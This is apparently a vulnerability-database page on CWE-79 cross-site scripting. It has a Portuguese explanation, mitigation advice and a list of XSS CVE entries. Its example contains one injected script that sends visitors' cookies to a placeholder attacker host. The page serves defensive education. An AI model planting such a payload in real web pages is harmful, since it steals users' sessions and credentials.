Fallos del tipo CWE-79

29.588 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-35094MEDIUMWordPress WP Matterport Shortcode Plugin <= 2.1.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-4067MEDIUMBus Ticket Booking with Seat Reservation <= 5.2.3 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2023-2184MEDIUMWP Responsive Tabs horizontal vertical and accordion Tabs <= 1.1.15 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2023-37257MEDIUMThe DataEase panel and dataset have a stored XSS vulnerabilityEPSS 0.4%CVE-2023-49971MEDIUMA cross-site scripting (XSS) vulnerability in Customer Support System v1 allows attackers to execute arbitrary web scripts or HTML via a craEPSS 0.4%CVE-2023-2289MEDIUMwordpress vertical image slider plugin <= 1.2.16 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-33231MEDIUMCross Site Scripting vulnerability in Ferozo Email version 1.1 allows a local attacker to execute arbitrary code via a crafted payload to thEPSS 0.4%CVE-2023-20145MEDIUMCisco Small Business RV016, RV042, RV042G, RV082 , RV320, and RV325 Routers Cross-Site Scripting VulnerabilitiesEPSS 0.4%CVE-2023-2402MEDIUMPhoto Gallery Slideshow & Masonry Tiled Gallery <= 1.0.13 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2022-40209MEDIUMWP Smart Import plugin <= 1.0.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2022-44953MEDIUMwebtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /linkedcontent/listfiles.php. This vulEPSS 0.4%CVE-2023-20137MEDIUMCisco Small Business RV016, RV042, RV042G, RV082 , RV320, and RV325 Routers Cross-Site Scripting VulnerabilitiesEPSS 0.4%CVE-2025-0795MEDIUMESAFENET CDG todolistjump.jsp cross site scriptingEPSS 0.4%CVE-2025-1647MEDIUMXSS in Bootstrap title attribute for Tooltip and PopoverEPSS 0.4%CVE-2025-62702MEDIUMStored XSS through system messagesEPSS 0.4%CVE-2019-12703MEDIUMCisco SPA122 ATA with Router Devices DHCP Services Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2023-31801MEDIUMCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the skills wheel parEPSS 0.4%CVE-2023-0486MEDIUMVitalPBX version 3.2.3-8 allows an unauthenticated external attacker to obtain the instance's administrator account via a malicious link. ThEPSS 0.4%CVE-2025-62695MEDIUMStored XSS through system messagesEPSS 0.4%CVE-2024-48246MEDIUMVehicle Management System 1.0 contains a Stored Cross-Site Scripting (XSS) vulnerability in the "Name" parameter of /vehicle-management/bookEPSS 0.4%